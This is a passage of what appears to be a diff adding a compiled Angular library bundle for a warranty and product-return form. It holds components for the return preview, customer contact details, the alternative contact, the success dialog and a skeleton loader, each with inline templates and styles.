*ngIf=\"selectedSerialNumbers.length > 1\">\r\n          <input type=\"text\"\r\n                 max-length=\"0\"\r\n                 (focus)=\"onFocus()\"\r\n                 (blur)=\"onBlur()\" />\r\n          <span>{{\"wf.showall\"|translate}}</span>\r\n        </div>\r\n        <div class=\"list__contextuals--open\"\r\n             *ngIf=\"isOpen\">\r\n          <span class=\"contextual__item\"\r\n                *ngFor=\"let serial of selectedSerialNumbers\">\r\n            {{serial}}\r\n          </span>\r\n        </div>\r\n      </div>\r\n    </div>\r\n    <div class=\"flex--row\"\r\n         *ngIf=\"configuration.OrderIsNull\">\r\n      <div class=\"return__order--item\">\r\n        <span class=\"return__items--header\"><span>{{'wf.serialnumbers'|translate}}</span></span>\r\n        <span class=\"return__order--item-information\" [title]=\"serialNumberEmptyOrder\">{{serialNumberEmptyOrder}}</span>\r\n      </div>\r\n      <div class=\"return__order--item\">\r\n        <span class=\"return__items--header\"><span>{{'wf.productNumber'|translate}}</span></span>\r\n        <span class=\"return__order--item-information\" [title]=\"productNumberEmptyOrder\">{{productNumberEmptyOrder}}</span>\r\n      </div>\r\n      <div class=\"return__order--item\">\r\n        <span class=\"return__items--header\"><span>{{'wf.productModel'|translate}}</span></span>\r\n        <span class=\"return__order--item-information\" [title]=\"productModelEmptyOrder\">{{productModelEmptyOrder}}</span>\r\n      </div>\r\n    </div>\r\n  </div>\r\n</div>", styles: [":root{--color-primary: hsl(202, 9%, 33%);--color-secondary: hsl(87, 69%, 30%);--color-grey-40-dark: hsl(202, 9%, 13%);--color-grey-20-dark: hsl(202, 9%, 23%);--color-grey: hsl(202, 9%, 33%);--color-grey-20-light: hsl(202, 9%, 43%);--color-grey-40-light: hsl(202, 9%, 53%);--color-grey-60-light: hsl(202, 9%, 63%);--color-grey-80-light: hsl(202, 9%, 73%);--color-grey-100-light: hsl(202, 9%, 93%);--color-green: #008a00;--color-green-hover: #007c00;--text-standard-color: var(--color-grey-40-dark);--background-standard-hover-color: hsl(180, 5%, 96%);--color-btn-primary-default: hsl(202, 9%, 33%);--color-btn-primary-hover: hsl(200, 9%, 13%);--color-btn-primary-label: hsl(255, 100%, 100%);--color-btn-secondary-default: hsl(87, 69%, 40%);--color-btn-secondary-hover: hsl(87, 69%, 30%);--color-btn-secondary-label: hsl(255, 100%, 100%);--color-btn-danger-default: hsl(358, 56%, 50%);--color-btn-danger-hover: hsl(358, 56%, 42%);--color-btn-danger-label: hsl(255, 100%, 100%);--color-btn-disabled-default: hsl(200, 14%, 60%);--color-btn-disabled-label: hsl(255, 100%, 100%);--color-white: hsl(255, 100%, 100%);--transition-btn: cubic-bezier(.4, 0, 1, 1);--element-scrollbar-thumb: hsl(204, 4.9%, 60%);--element-scrollbar-track: hsl(180, 2.9%, 93.1%)}.flex--column{display:flex;flex-direction:column}.flex--row{display:flex;width:100%;flex-wrap:wrap;flex-direction:row}.return__order--item{display:flex;flex-direction:column;margin:0;min-width:225px;width:33%}.return__order--item-title{text-transform:uppercase;font-size:.75rem;color:#71797d;margin:15px 0 0;display:block;width:100%}.return__order--item-information{font-size:.875rem;line-height:165%;font-weight:600;color:#2e3438;white-space:nowrap;overflow:hidden;text-overflow:ellipsis;margin:2px 0;display:block;width:calc(100% - 5px)}.return__order--item-information.long-text{white-space:pre-line}.articles{margin:10px 0 5px}.return__items--header{display:flex;flex-direction:row;width:100%;margin:10px 0 5px}.return__items--header span{font-size:.75rem;font-weight:600}.return__items--list{display:flex;width:100%;font-size:.875rem;letter-spacing:-.0375rem}.return__items .item__description{width:35%;padding-right:20px}.return__items .item__article{width:25%}.return__items .item__serial{position:relative;text-align:right;margin-left:auto}.return__items .item__quantity{margin-left:auto}.return__items .list__contextuals--icon span{width:100%;text-align:right;pointer-events:none;color:var(--color-green);font-weight:600}.return__items .list__contextuals--icon:hover span{color:#006e00}.text__overflow{white-space:nowrap;overflow:hidden;text-overflow:ellipsis;padding:0}.list__formsdata{margin-left:0;margin-right:auto}.list__contextuals{position:relative;display:flex;align-items:center;margin:0 10px 0 0;flex-grow:0;flex-shrink:0}.list__contextuals--icon{position:relative;display:flex;align-items:center;justify-content:center;width:100%;height:26px;margin:0 5px 0 0}.list__contextuals--icon input[type=text]{position:absolute;background-color:transparent;opacity:0;width:100%;height:100%;left:0;top:0}.list__contextuals--icon input[type=text]:hover{cursor:pointer}.list__contextuals--icon input[type=text]:focus{pointer-events:none;outline:none;z-index:-1;text-indent:-9999em;text-shadow:9999em 0 0 #000}.list__contextuals--icon img{width:26px;pointer-events:none}.list__contextuals--icon:hover{opacity:1}@keyframes scaleUpActions{0%{transform:scale(0);opacity:0}75%{transform:scale(1)}to{opacity:1;transform:scale(1)}}.list__contextuals--open{position:absolute;top:calc(100% + 5px);right:-5px;width:auto;padding:6px 0;background-color:#2e3438;z-index:10;display:flex;flex-direction:column;border-radius:4px;box-shadow:0 4px 16px #0000004d;animation:scaleUpActions .15s;transform-origin:top right;max-height:250px;overflow:auto}.list__contextuals--open:after{bottom:100%;right:12px;border:solid transparent;content:\" \";height:0;width:0;position:absolute;pointer-events:none;border-color:#88b7d500;border-bottom-color:#2e3438;border-width:11px;margin-left:-7px;margin-bottom:-1px;transform:scaleX(.75)}.list__contextuals--open .contextual__item{padding:9px 30px 11px 20px;display:flex;letter-spacing:-.5px;font-weight:400;color:#fff;flex-direction:column}.list__contextuals--open .contextual__item:hover{cursor:text}.list__contextuals--open .contextual__item--text{display:flex;color:#fff;word-break:keep-all;white-space:nowrap;align-items:center;font-size:.75rem;pointer-events:none}.list__contextuals--open .contextual__item--text img{width:16px;margin:0 5px 0 0}.list__contextuals--open .contextual__item--subtext{width:100%;pointer-events:none;white-space:nowrap;align-items:center;font-size:.6875rem;color:#ffffffbf;margin:3px 0 2px 3px}\n"], directives: [{ type: i2.NgIf, selector: "[ngIf]", inputs: ["ngIf", "ngIfThen", "ngIfElse"] }, { type: i2.NgForOf, selector: "[ngFor][ngForOf]", inputs: ["ngForOf", "ngForTrackBy", "ngForTemplate"] }, { type: i2.NgSwitch, selector: "[ngSwitch]", inputs: ["ngSwitch"] }, { type: i2.NgSwitchCase, selector: "[ngSwitchCase]", inputs: ["ngSwitchCase"] }], pipes: { "translate": i4.TranslatePipe, "lowercase": i2.LowerCasePipe } });
+i0.ɵɵngDeclareClassMetadata({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WarrantyPreviewItemComponent, decorators: [{
+            type: Component,
+            args: [{
+                    selector: 'warranty-preview-item',
+                    templateUrl: './warranty-preview-item.component.html',
+                    styleUrls: ['./warranty-preview-item.component.scss']
+                }]
+        }], ctorParameters: function () { return [{ type: FormComponentService }]; }, propDecorators: { configuration: [{
+                type: Input
+            }], warrantyData: [{
+                type: Input
+            }], lineForm: [{
+                type: Input
+            }], troubleshootingOptions: [{
+                type: Input
+            }], serialNumberEmptyOrder: [{
+                type: Input
+            }], productNumberEmptyOrder: [{
+                type: Input
+            }], productModelEmptyOrder: [{
+                type: Input
+            }] } });
+
+class WarrantyPreviewComponent {
+    constructor(formComponentService) {
+        this.formComponentService = formComponentService;
+    }
+    ngOnInit() {
+        this.questionsMapping = this.formComponentService.getQuestionsForPreview(this.configuration.defConfig.country);
+    }
+    getSelectedLines() {
+        const lines = this.warrantyForm.get("lines");
+        return lines.controls.filter(c => c.get("isChecked").value);
+    }
+    getTroubleShootingOptions(line) {
+        const troubleshootingOptions = [];
+        const infoForm = line.get("info");
+        if (this.configuration.isWarranty) {
+            troubleshootingOptions.push(this.getTroubleshootingOption(infoForm.get("reasonProductReturn").value));
+        }
+        Object.keys(infoForm.controls).forEach(ct => {
+            if (ct.startsWith("node-")) {
+                const option = infoForm.get(ct).value;
+                if (option) {
+                    const to = this.getTroubleshootingOption(option);
+                    troubleshootingOptions.push(to);
+                }
+            }
+        });
+        return troubleshootingOptions;
+    }
+    getTroubleshootingOption(optionValue) {
+        let to;
+        if (!Array.isArray(optionValue)) {
+            const option = this.warrantyData.getRuleOption(optionValue);
+            let question = this.questionsMapping.has(option.localizeVar) ?
+                this.questionsMapping.get(option.localizeVar) : "wf.issuewithproduct";
+            to = new TroubleshootingOption(question, [option.nodeDescription]);
+        }
+        else {
+            const question = "wf.selectoptions";
+            const answers = [];
+            optionValue.forEach(o => {
+                const ruleOption = this.warrantyData.getRuleOption(o);
+                answers.push(ruleOption.nodeDescription);
+            });
+            to = new TroubleshootingOption(question, answers);
+        }
+        return to;
+    }
+}
+WarrantyPreviewComponent.ɵfac = i0.ɵɵngDeclareFactory({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WarrantyPreviewComponent, deps: [{ token: FormComponentService }], target: i0.ɵɵFactoryTarget.Component });
+WarrantyPreviewComponent.ɵcmp = i0.ɵɵngDeclareComponent({ minVersion: "12.0.0", version: "12.2.16", type: WarrantyPreviewComponent, selector: "warranty-preview", inputs: { configuration: "configuration", warrantyForm: "warrantyForm", warrantyData: "warrantyData" }, ngImport: i0, template: "<div class=\"return__order flex--column\" \r\n  *ngFor=\"let line of getSelectedLines(); let i = index\">\r\n  <h4><span>{{'wf.returnableItem'|translate}} {{i+1}}</span></h4>\r\n  <warranty-preview-item\r\n    [configuration]=\"configuration\"\r\n    [lineForm]=\"line\"\r\n    [warrantyData]=\"warrantyData\"\r\n    [troubleshootingOptions]=\"getTroubleShootingOptions(line)\"\r\n    [serialNumberEmptyOrder]=\"warrantyForm.value.serialNumber\"\r\n    [productNumberEmptyOrder]=\"warrantyForm.value.productNumber\"\r\n    [productModelEmptyOrder]=\"warrantyForm.value.productDescription\">\r\n  </warranty-preview-item>\r\n</div>", styles: ["h4{font-size:1.0294117647rem;letter-spacing:-.046875rem}.return__order{display:flex;width:100%;padding:20px 0 25px;border-bottom:1px solid #dbdddf}.flex--column{flex-direction:column}\n"], components: [{ type: WarrantyPreviewItemComponent, selector: "warranty-preview-item", inputs: ["configuration", "warrantyData", "lineForm", "troubleshootingOptions", "serialNumberEmptyOrder", "productNumberEmptyOrder", "productModelEmptyOrder"] }], directives: [{ type: i2.NgForOf, selector: "[ngFor][ngForOf]", inputs: ["ngForOf", "ngForTrackBy", "ngForTemplate"] }], pipes: { "translate": i4.TranslatePipe } });
+i0.ɵɵngDeclareClassMetadata({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WarrantyPreviewComponent, decorators: [{
+            type: Component,
+            args: [{
+                    selector: 'warranty-preview',
+                    templateUrl: './warranty-preview.component.html',
+                    styleUrls: ['./warranty-preview.component.scss']
+                }]
+        }], ctorParameters: function () { return [{ type: FormComponentService }]; }, propDecorators: { configuration: [{
+                type: Input
+            }], warrantyForm: [{
+                type: Input
+            }], warrantyData: [{
+                type: Input
+            }] } });
+
+class ContactDetailsComponent {
+    constructor() {
+        this.askAdditionalContacts = false;
+        this.displayLocation = false;
+        this.displayContactPreference = false;
+    }
+    ngOnInit() {
+        var _a, _b;
+        this.showLastTicketDialog = this.configuration.isWarranty && this.isCustomerDetails((_a = this.configuration.defData) === null || _a === void 0 ? void 0 : _a.lastSavedcustomerDetails);
+        this.displayLocation = this.displayContactPreference = this.configuration.defConfig.country === CountriesEnum.DK
+            && this.configuration.isWarranty && this.askAdditionalContacts;
+        if (!this.displayLocation)
+            this.customerDetailsForm.get("location").removeValidators(Validators.required);
+        if (!this.displayContactPreference)
+            this.customerDetailsForm.get("contactPreference").removeValidators(Validators.required);
+        this.setTicketDetails((_b = this.configuration.defData) === null || _b === void 0 ? void 0 : _b.customerDetails);
+    }
+    isCustomerDetails(details) {
+        return details !== undefined;
+    }
+    addLastTicketDetails() {
+        var _a;
+        this.setTicketDetails((_a = this.configuration.defData) === null || _a === void 0 ? void 0 : _a.lastSavedcustomerDetails);
+        this.showLastTicketDialog = false;
+    }
+    setTicketDetails(details) {
+        if (details) {
+            this.setCustomerDetailsPropertyValue("customerName", details.customerName);
+            this.setCustomerDetailsPropertyValue("customerNumber", details.customerNumber);
+            this.setCustomerDetailsPropertyValue("customerAddress", details.customerAddress);
+            this.setCustomerDetailsPropertyValue("email", details.customerEmail);
+            this.setCustomerDetailsPropertyValue("firstName", details.customerFirstName);
+            this.setCustomerDetailsPropertyValue("lastName", details.customerLastName);
+            this.setCustomerDetailsPropertyValue("phone", details.customerPhoneNumber);
+            this.setCustomerDetailsPropertyValue("customerReference", details.customerReference);
+        }
+    }
+    setCustomerDetailsPropertyValue(propertyName, propertyValue) {
+        if (propertyValue) {
+            this.customerDetailsForm.get(propertyName).setValue(propertyValue);
+        }
+    }
+    cancelLastTicketDetails() {
+        this.showLastTicketDialog = false;
+    }
+}
+ContactDetailsComponent.ɵfac = i0.ɵɵngDeclareFactory({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: ContactDetailsComponent, deps: [], target: i0.ɵɵFactoryTarget.Component });
+ContactDetailsComponent.ɵcmp = i0.ɵɵngDeclareComponent({ minVersion: "12.0.0", version: "12.2.16", type: ContactDetailsComponent, selector: "contact-details", inputs: { configuration: "configuration", customerDetailsForm: "customerDetailsForm", askAdditionalContacts: "askAdditionalContacts" }, ngImport: i0, template: "<div *ngIf=\"showLastTicketDialog\"\r\n     class=\"last-ticket\">\r\n  <h4>{{\"wf.informationfromlastticket\"|translate}}</h4>\r\n  <div class=\"actions\">\r\n    <ad-button size=\"large\"\r\n               variant=\"primary\"\r\n               class=\"accept-action\"\r\n               (onClick)=\"addLastTicketDetails()\">{{\"wf.uselastticketdetails\"|translate}}\r\n    </ad-button>\r\n    <span class=\"close-action\"\r\n          (click)=\"cancelLastTicketDetails()\">{{\"wf.dontadd\"|translate}}</span>\r\n  </div>\r\n</div>\r\n<div class=\"return__section\"\r\n     [formGroup]=\"customerDetailsForm\">\r\n  <span class=\"inner__title\">{{\"wf.contactdetail\"|translate}}&nbsp;*</span>\r\n  <ad-text class=\"return__section--half\"\r\n           formControlName=\"customerName\"\r\n           type=\"text\">\r\n    {{'wf.customername'|translate}}\r\n  </ad-text>\r\n  <ad-text class=\"return__section--half\"\r\n           formControlName=\"customerNumber\"\r\n           type=\"number\">\r\n    {{'wf.customernumber'|translate}}\r\n  </ad-text>\r\n  <ad-text class=\"return__section--half\"\r\n           formControlName=\"customerAddress\"\r\n           type=\"text\">\r\n    {{'wf.address'|translate}}\r\n  </ad-text>\r\n  <ad-text class=\"return__section--half\"\r\n           formControlName=\"customerReference\"\r\n           type=\"text\">\r\n    {{'wf.deliveryreference'|translate}}\r\n  </ad-text>\r\n\r\n  <ad-text class=\"return__section--half\"\r\n           formControlName=\"firstName\"\r\n           type=\"text\">\r\n    {{'wf.firstname'|translate}}\r\n  </ad-text>\r\n\r\n  <ad-text class=\"return__section--half\"\r\n           formControlName=\"lastName\"\r\n           type=\"text\">\r\n    {{'wf.lastname'|translate}}\r\n  </ad-text>\r\n\r\n  <ad-text class=\"return__section--half\"\r\n           formControlName=\"email\"\r\n           type=\"email\">\r\n    {{'wf.email'|translate}}\r\n  </ad-text>\r\n\r\n  <ad-text class=\"return__section--half\"\r\n           formControlName=\"phone\"\r\n           type=\"tel\">\r\n    {{'wf.phonenumber'|translate}}\r\n  </ad-text>\r\n\r\n  <ad-text *ngIf=\"displayLocation\"\r\n           class=\"return__section--half\"\r\n           formControlName=\"location\"\r\n           type=\"text\">\r\n    {{'wf.location'|translate}}\r\n  </ad-text>\r\n\r\n  <ad-text *ngIf=\"displayContactPreference\"\r\n           class=\"return__section--half\"\r\n           formControlName=\"contactPreference\"\r\n           type=\"text\">\r\n    {{'wf.contactPreference'|translate}}\r\n  </ad-text>\r\n</div>", styles: [".return__section{display:flex;flex-wrap:wrap;position:relative;width:100%}.return__section .inner__title{width:100%;font-size:.875rem;font-weight:600;margin:50px 0 10px;line-height:175%}.return__section--half{display:flex;width:calc(50% - 20px)}.return__section--half:nth-of-type(even){margin-left:auto!important}.actions{display:flex;padding-bottom:10px}.actions .accept-action{margin-right:20px}.actions .close-action{padding:30px 0 0;font-weight:600;cursor:pointer}\n"], components: [{ type: i1$1.ButtonComponent, selector: "ad-button", inputs: ["type", "variant", "width", "size", "className", "loading", "disabled"], outputs: ["onClick"] }, { type: i1$1.TextInputComponent, selector: "ad-text", inputs: ["type", "variant", "disabled", "placeholder"] }], directives: [{ type: i2.NgIf, selector: "[ngIf]", inputs: ["ngIf", "ngIfThen", "ngIfElse"] }, { type: i3.NgControlStatusGroup, selector: "[formGroupName],[formArrayName],[ngModelGroup],[formGroup],form:not([ngNoForm]),[ngForm]" }, { type: i3.FormGroupDirective, selector: "[formGroup]", inputs: ["formGroup"], outputs: ["ngSubmit"], exportAs: ["ngForm"] }, { type: i3.NgControlStatus, selector: "[formControlName],[ngModel],[formControl]" }, { type: i3.FormControlName, selector: "[formControlName]", inputs: ["disabled", "formControlName", "ngModel"], outputs: ["ngModelChange"] }], pipes: { "translate": i4.TranslatePipe } });
+i0.ɵɵngDeclareClassMetadata({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: ContactDetailsComponent, decorators: [{
+            type: Component,
+            args: [{
+                    selector: 'contact-details',
+                    templateUrl: './contact-details.component.html',
+                    styleUrls: ['./contact-details.component.scss']
+                }]
+        }], propDecorators: { configuration: [{
+                type: Input
+            }], customerDetailsForm: [{
+                type: Input
+            }], askAdditionalContacts: [{
+                type: Input
+            }] } });
+
+class AlternativeContactComponent {
+}
+AlternativeContactComponent.ɵfac = i0.ɵɵngDeclareFactory({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: AlternativeContactComponent, deps: [], target: i0.ɵɵFactoryTarget.Component });
+AlternativeContactComponent.ɵcmp = i0.ɵɵngDeclareComponent({ minVersion: "12.0.0", version: "12.2.16", type: AlternativeContactComponent, selector: "alternative-contact", inputs: { alternativeContactForm: "alternativeContactForm" }, ngImport: i0, template: "<div [formGroup]=\"alternativeContactForm\" class=\"return__section\">\r\n  <span class=\"inner__title\">{{\"wf.alternativecontactdetail\"|translate}}*</span>\r\n  <ad-text \r\n    class=\"return__section--half\"\r\n    formControlName=\"name\"\r\n    type=\"text\">\r\n    {{'wf.alternativeContact.name'|translate}}\r\n  </ad-text>\r\n  <ad-text \r\n    class=\"return__section--half\"\r\n    formControlName=\"role\"\r\n    type=\"text\">\r\n    {{'wf.alternativeContact.role'|translate}}\r\n  </ad-text>\r\n  <ad-text \r\n    class=\"return__section--half\"\r\n    formControlName=\"address\"\r\n    type=\"text\">\r\n    {{'wf.alternativeContact.address'|translate}}\r\n  </ad-text>\r\n  <ad-text \r\n    class=\"return__section--half\"\r\n    formControlName=\"zipCode\"\r\n    type=\"text\">\r\n    {{'wf.alternativeContact.zipCode'|translate}}\r\n  </ad-text>\r\n  <ad-text \r\n    class=\"return__section--half\"\r\n    formControlName=\"city\"\r\n    type=\"text\">\r\n    {{'wf.alternativeContact.city'|translate}}\r\n  </ad-text>\r\n  <ad-text \r\n    class=\"return__section--half\"\r\n    formControlName=\"email\"\r\n    type=\"text\">\r\n    {{'wf.alternativeContact.email'|translate}}\r\n  </ad-text>\r\n  <ad-text \r\n    class=\"return__section--half\"\r\n    formControlName=\"phone\"\r\n    type=\"number\">\r\n    {{'wf.alternativeContact.phone'|translate}}\r\n  </ad-text>  \r\n</div>", styles: [".return__section{display:flex;flex-wrap:wrap;position:relative;width:100%}.return__section .inner__title{width:100%;font-size:.875rem;font-weight:600;margin:50px 0 10px;line-height:175%}.return__section--half{display:flex;width:calc(50% - 20px);animation:fadeIn .35s;transition:opacity .5s}.return__section--half:nth-of-type(even){margin-left:auto!important}\n"], components: [{ type: i1$1.TextInputComponent, selector: "ad-text", inputs: ["type", "variant", "disabled", "placeholder"] }], directives: [{ type: i3.NgControlStatusGroup, selector: "[formGroupName],[formArrayName],[ngModelGroup],[formGroup],form:not([ngNoForm]),[ngForm]" }, { type: i3.FormGroupDirective, selector: "[formGroup]", inputs: ["formGroup"], outputs: ["ngSubmit"], exportAs: ["ngForm"] }, { type: i3.NgControlStatus, selector: "[formControlName],[ngModel],[formControl]" }, { type: i3.FormControlName, selector: "[formControlName]", inputs: ["disabled", "formControlName", "ngModel"], outputs: ["ngModelChange"] }], pipes: { "translate": i4.TranslatePipe } });
+i0.ɵɵngDeclareClassMetadata({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: AlternativeContactComponent, decorators: [{
+            type: Component,
+            args: [{
+                    selector: 'alternative-contact',
+                    templateUrl: './alternative-contact.component.html',
+                    styleUrls: ['./alternative-contact.component.scss']
+                }]
+        }], propDecorators: { alternativeContactForm: [{
+                type: Input
+            }] } });
+
+class WarrantySuccessComponent {
+    constructor() {
+        this.caseResponses = [];
+        this.close = new EventEmitter();
+        this.redirect = new EventEmitter();
+    }
+    get CountriesEnum() {
+        return CountriesEnum;
+    }
+    redirectToTicket() {
+        var _a;
+        const caseData = ((_a = this.caseResponses) === null || _a === void 0 ? void 0 : _a.length) > 0 ? this.caseResponses[0] : null;
+        this.close.emit(caseData);
+    }
+    closeSuccess() {
+        this.close.emit();
+    }
+}
+WarrantySuccessComponent.ɵfac = i0.ɵɵngDeclareFactory({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WarrantySuccessComponent, deps: [], target: i0.ɵɵFactoryTarget.Component });
+WarrantySuccessComponent.ɵcmp = i0.ɵɵngDeclareComponent({ minVersion: "12.0.0", version: "12.2.16", type: WarrantySuccessComponent, selector: "warranty-success", inputs: { configuration: "configuration", caseResponses: "caseResponses", reference: "reference" }, outputs: { close: "close", redirect: "redirect" }, ngImport: i0, template: "<div class=\"return__succeeded\">\r\n\r\n  <img width=\"270\" src=\"assets/images/undraw_confirmed.svg\" alt=\"\">\r\n\r\n  <h2>{{\"wf.casesubmitted\"|translate}}</h2>\r\n  <div *ngFor=\"let caseResponse of caseResponses\">\r\n    <span class=\"return__succeeded--numbers\"\r\n          *ngIf=\"caseResponse.caseNumber\">\r\n      <span>{{\"wf.casenumber\"|translate}}: </span>\r\n      <span class=\"bold\">{{caseResponse.caseNumber}}</span>\r\n    </span>\r\n    <div class=\"text-center\">\r\n      <span class=\"return__succeeded--numbers\"\r\n            *ngIf=\"caseResponse.caseId\">\r\n        <span>{{\"wf.caseId\"|translate}}</span>:\r\n        <span class=\"bold\">{{caseResponse.caseId}}</span>\r\n      </span>\r\n    </div>\r\n\r\n    <div class=\"reference\"\r\n         *ngIf=\"reference && configuration.defConfig.country === CountriesEnum.SE && !caseResponse.caseNumber\">\r\n      <span class=\"return__succeeded--numbers\">\r\n        <span>{{\"wf.internalrefnumber\"|translate}}</span>:\r\n        <span>{{reference}}</span>\r\n      </span>\r\n    </div>\r\n  </div>\r\n\r\n  <div class=\"return__succeeded--btn\"\r\n       *ngIf=\"!configuration.defConfig.isAnonymous && (caseResponses?.length > 0 && caseResponses[0].caseNumber && caseResponses[0].caseSource) else closeTicket\">\r\n    <span class=\"close-success\"\r\n          (click)=\"closeSuccess()\">{{\"wf.closedialogandstayonthispage\"|translate}}</span>\r\n\r\n    <ad-button size=\"large\"\r\n               variant=\"primary\"\r\n               (onClick)=\"redirectToTicket()\">{{\"wf.gotonewticket\"|translate}}\r\n      <ad-icon [name]=\"'ic_arrow-right.svg'\"></ad-icon>\r\n    </ad-button>\r\n  </div>\r\n  <!-- hotfix MPD-4560 -->\r\n  <div *ngIf=\"caseResponses?.length > 0 && caseResponses[0].caseId\">\r\n    <p class=\"case-info\">\r\n      <span [innerHtml]=\"'wf.caseInfo'|translate\"></span>\r\n    </p>\r\n  </div>\r\n</div>\r\n\r\n<ng-template #closeTicket>\r\n  <div class=\"return__succeeded--btn\">\r\n    <ad-button size=\"large\"\r\n               variant=\"primary\"\r\n               (onClick)=\"closeSuccess()\">{{\"wf.closedialog\"|translate}}\r\n    </ad-button>\r\n  </div>\r\n</ng-template>", styles: [":root{--color-primary: hsl(202, 9%, 33%);--color-secondary: hsl(87, 69%, 30%);--color-grey-40-dark: hsl(202, 9%, 13%);--color-grey-20-dark: hsl(202, 9%, 23%);--color-grey: hsl(202, 9%, 33%);--color-grey-20-light: hsl(202, 9%, 43%);--color-grey-40-light: hsl(202, 9%, 53%);--color-grey-60-light: hsl(202, 9%, 63%);--color-grey-80-light: hsl(202, 9%, 73%);--color-grey-100-light: hsl(202, 9%, 93%);--color-green: #008a00;--color-green-hover: #007c00;--text-standard-color: var(--color-grey-40-dark);--background-standard-hover-color: hsl(180, 5%, 96%);--color-btn-primary-default: hsl(202, 9%, 33%);--color-btn-primary-hover: hsl(200, 9%, 13%);--color-btn-primary-label: hsl(255, 100%, 100%);--color-btn-secondary-default: hsl(87, 69%, 40%);--color-btn-secondary-hover: hsl(87, 69%, 30%);--color-btn-secondary-label: hsl(255, 100%, 100%);--color-btn-danger-default: hsl(358, 56%, 50%);--color-btn-danger-hover: hsl(358, 56%, 42%);--color-btn-danger-label: hsl(255, 100%, 100%);--color-btn-disabled-default: hsl(200, 14%, 60%);--color-btn-disabled-label: hsl(255, 100%, 100%);--color-white: hsl(255, 100%, 100%);--transition-btn: cubic-bezier(.4, 0, 1, 1);--element-scrollbar-thumb: hsl(204, 4.9%, 60%);--element-scrollbar-track: hsl(180, 2.9%, 93.1%)}.text-center{text-align:center}.reference{text-align:center;margin-top:20px}.case-info{text-align:center;white-space:pre-wrap}.return{display:flex;flex-direction:column;width:100%}.return__succeeded{display:flex;flex-direction:column;width:100%;justify-content:center;align-items:center;min-height:calc(80vh - 120px);margin:auto}.return__succeeded h2{width:auto}.return__succeeded--numbers{font-size:1rem;margin:8px 0}.return__succeeded--numbers .bold{font-weight:700;letter-spacing:0}.return__succeeded--btn{margin:35px 0;display:flex;align-items:center;justify-content:center}.close-success{margin:0 25px 0 16px;text-decoration:none;color:#4d575d;background-color:transparent;cursor:pointer}\n"], components: [{ type: i1$1.ButtonComponent, selector: "ad-button", inputs: ["type", "variant", "width", "size", "className", "loading", "disabled"], outputs: ["onClick"] }, { type: i1$1.ɵe, selector: "ad-icon", inputs: ["size", "color", "width", "height", "placement", "name", "title"] }], directives: [{ type: i2.NgForOf, selector: "[ngFor][ngForOf]", inputs: ["ngForOf", "ngForTrackBy", "ngForTemplate"] }, { type: i2.NgIf, selector: "[ngIf]", inputs: ["ngIf", "ngIfThen", "ngIfElse"] }], pipes: { "translate": i4.TranslatePipe } });
+i0.ɵɵngDeclareClassMetadata({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WarrantySuccessComponent, decorators: [{
+            type: Component,
+            args: [{
+                    selector: 'warranty-success',
+                    templateUrl: './warranty-success.component.html',
+                    styleUrls: ['./warranty-success.component.scss']
+                }]
+        }], propDecorators: { configuration: [{
+                type: Input
+            }], caseResponses: [{
+                type: Input
+            }], reference: [{
+                type: Input
+            }], close: [{
+                type: Output
+            }], redirect: [{
+                type: Output
+            }] } });
+
+class SkeletonLoaderComponent {
+    constructor() {
+        this.type = "progress";
+        this.repeat = 1;
+        this.margin = "6px";
+        this.height = "24px";
+        this._show = true;
+        this.repeatOf = () => Array(this.repeat);
+    }
+    ngOnInit() {
+        if (isObservable(this.show)) {
+            this.show.subscribe({
+                complete: () => {
+                    this._show = false;
+                }
+            });
+        }
+        else {
+            this._show = this.show;
+        }
+    }
+    ngOnChanges() {
+        if (typeof this.show === "boolean") {
+            this._show = this.show;
+        }
+    }
+}
+SkeletonLoaderComponent.ɵfac = i0.ɵɵngDeclareFactory({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: SkeletonLoaderComponent, deps: [], target: i0.ɵɵFactoryTarget.Component });
+SkeletonLoaderComponent.ɵcmp = i0.ɵɵngDeclareComponent({ minVersion: "12.0.0", version: "12.2.16", type: SkeletonLoaderComponent, selector: "skeleton-loader", inputs: { type: "type", show: "show", repeat: "repeat", margin: "margin", height: "height" }, usesOnChanges: true, ngImport: i0, template: "<ng-container *ngIf=\"_show\">\r\n  <span [className]=\"'item ' + type\"\r\n        [ngStyle]=\"{\r\n    'margin-top': margin,\r\n    'margin-bottom': margin,\r\n    'height': height\r\n   }\"\r\n        *ngFor=\"let i of repeatOf()\"></span>\r\n</ng-container>", styles: [":root{--color-primary: hsl(202, 9%, 33%);--color-secondary: hsl(87, 69%, 30%);--color-grey-40-dark: hsl(202, 9%, 13%);--color-grey-20-dark: hsl(202, 9%, 23%);--color-grey: hsl(202, 9%, 33%);--color-grey-20-light: hsl(202, 9%, 43%);--color-grey-40-light: hsl(202, 9%, 53%);--color-grey-60-light: hsl(202, 9%, 63%);--color-grey-80-light: hsl(202, 9%, 73%);--color-grey-100-light: hsl(202, 9%, 93%);--color-green: #008a00;--color-green-hover: #007c00;--text-standard-color: var(--color-grey-40-dark);--background-standard-hover-color: hsl(180, 5%, 96%);--color-btn-primary-default: hsl(202, 9%, 33%);--color-btn-primary-hover: hsl(200, 9%, 13%);--color-btn-primary-label: hsl(255, 100%, 100%);--color-btn-secondary-default: hsl(87, 69%, 40%);--color-btn-secondary-hover: hsl(87, 69%, 30%);--color-btn-secondary-label: hsl(255, 100%, 100%);--color-btn-danger-default: hsl(358, 56%, 50%);--color-btn-danger-hover: hsl(358, 56%, 42%);--color-btn-danger-label: hsl(255, 100%, 100%);--color-btn-disabled-default: hsl(200, 14%, 60%);--color-btn-disabled-label: hsl(255, 100%, 100%);--color-white: hsl(255, 100%, 100%);--transition-btn: cubic-bezier(.4, 0, 1, 1);--element-scrollbar-thumb: hsl(204, 4.9%, 60%);--element-scrollbar-track: hsl(180, 2.9%, 93.1%)}.item{box-sizing:border-box;overflow:hidden;position:relative;background:#eceeef no-repeat;border-radius:6px;width:100%;min-height:16px;display:inline-block;margin-bottom:10px}.item:after,.item:before{box-sizing:border-box}.item.progress{animation:progress 2s cubic-bezier(.4,0,.2,1) infinite;background-size:200px 100%;background-image:linear-gradient(to 